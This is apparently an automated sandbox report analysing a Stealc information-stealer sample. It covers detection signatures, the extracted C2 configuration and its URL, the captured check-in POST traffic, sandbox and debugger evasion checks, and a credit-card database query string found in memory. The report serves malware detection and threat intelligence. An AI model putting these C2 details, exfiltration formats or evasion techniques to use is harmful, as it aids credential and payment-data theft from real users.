Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532741
MD5:	054dffcd797e0e40c9e7b3050814f148
SHA1:	d5d545a246bb31a238e4a2632bdc878a35bd8d7e
SHA256:	6dbfc677cbb25ac652a97431f9afc4811639b3dae9b640976c0b9bb8d9a54404
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 4392 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 054DFFCD797E0E40C9E7B3050814F148)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2161251258.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4392	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4392	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.5c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T21:04:08.967465+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.5c0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_005CC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_005C7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_005C9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_005C9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_005D8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005D38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005D4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005CDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005CE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_005D4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005CED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005CDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005C16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005CF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_005D3EA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 44 33 34 39 31 34 36 41 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="hwid"D9D349146A8B2768236643------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build"doma------AFHDAEGHDGDBGDGDAAFI--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown

DNS traffic detected: query: 198.187.3.20.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_005C4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 44 33 34 39 31 34 36 41 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="hwid"D9D349146A8B2768236643------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build"doma------AFHDAEGHDGDBGDGDAAFI--

Source: file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2215149403.00000000014D4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215149403.0000000001505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpuL
Source: file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37L

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027	0_2_0090F027
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5	0_2_0098E1D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00996969	0_2_00996969
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009932C9	0_2_009932C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A13A09	0_2_00A13A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00908BEA	0_2_00908BEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098AC3B	0_2_0098AC3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BC434	0_2_008BC434
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FDC30	0_2_008FDC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098FC59	0_2_0098FC59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099847F	0_2_0099847F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00994DBC	0_2_00994DBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8DF4	0_2_008F8DF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C1EA6	0_2_008C1EA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096DE1D	0_2_0096DE1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098C74C	0_2_0098C74C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099177F	0_2_0099177F

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 005C45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yhphlozs ZLIB complexity 0.9949685097603256

Source: file.exe, 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2161251258.00000000052F0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005D9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_005D3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\EHI8I06B.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cardsr?;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1854976 > 1048576

Source: file.exe

Static PE information: Raw size of yhphlozs is bigger than: 0x100000 < 0x19ea00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.5c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yhphlozs:EW;rdjojuwm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yhphlozs:EW;rdjojuwm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005D9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cdfff should be: 0x1d161e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yhphlozs
Source: file.exe	Static PE information: section name: rdjojuwm
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CC0CE push edx; mov dword ptr [esp], esp	0_2_009CC10B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A138F2 push 71AE9534h; mov dword ptr [esp], ecx	0_2_00A1391A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005DB035 push ecx; ret	0_2_005DB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A758CE push 680F0635h; mov dword ptr [esp], esp	0_2_00A758D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A758CE push 5B8C78D7h; mov dword ptr [esp], eax	0_2_00A75FD2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push edi; mov dword ptr [esp], ebx	0_2_0090F0B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push ebp; mov dword ptr [esp], 5FDFE3EEh	0_2_0090F174
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push 69B550A1h; mov dword ptr [esp], ebx	0_2_0090F1A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push 1350B330h; mov dword ptr [esp], edx	0_2_0090F26E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push 514680F2h; mov dword ptr [esp], eax	0_2_0090F2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090F027 push 395FF5D2h; mov dword ptr [esp], edx	0_2_0090F2B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D4840 push ebx; mov dword ptr [esp], 123D5D00h	0_2_009D484C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BE07D push 4E27B35Bh; mov dword ptr [esp], eax	0_2_009BE092
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BE07D push ebp; mov dword ptr [esp], edx	0_2_009BE0E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A33852 push edi; mov dword ptr [esp], 02C24316h	0_2_00A33856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A33852 push eax; mov dword ptr [esp], edx	0_2_00A33981
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C718F push ecx; mov dword ptr [esp], eax	0_2_008C723B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C718F push esi; mov dword ptr [esp], 64AEEE82h	0_2_008C727F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C718F push ecx; mov dword ptr [esp], edx	0_2_008C7310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C718F push ebx; mov dword ptr [esp], ebp	0_2_008C7314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2C98D push 6AC2D9FCh; mov dword ptr [esp], ebx	0_2_00A2C9B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2C98D push 5FD3D891h; mov dword ptr [esp], ecx	0_2_00A2C9BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A069EC push esi; mov dword ptr [esp], ecx	0_2_00A06A56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push edx; mov dword ptr [esp], ecx	0_2_0098E1DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push esi; mov dword ptr [esp], ecx	0_2_0098E214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push eax; mov dword ptr [esp], 4C97D83Ah	0_2_0098E23E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push ebx; mov dword ptr [esp], 17851D7Dh	0_2_0098E2CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push 1DCB9CECh; mov dword ptr [esp], esi	0_2_0098E316
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push ecx; mov dword ptr [esp], ebp	0_2_0098E391
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push eax; mov dword ptr [esp], edi	0_2_0098E3B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E1D5 push 172EDC16h; mov dword ptr [esp], ecx	0_2_0098E402

Source: file.exe

Static PE information: section name: yhphlozs entropy: 7.95378057749378

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_005D9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13365

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C546 second address: 99C55E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F7F147AEA4Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C7FE second address: 99C804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C804 second address: 99C809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CAFB second address: 99CB01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB01 second address: 99CB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB05 second address: 99CB3B instructions: 0x00000000 rdtsc 0x00000002 je 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F7F1511CE2Ah 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 pushad 0x00000019 jp 00007F7F1511CE26h 0x0000001f jmp 00007F7F1511CE36h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0713 second address: 9A0719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0719 second address: 9A071E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
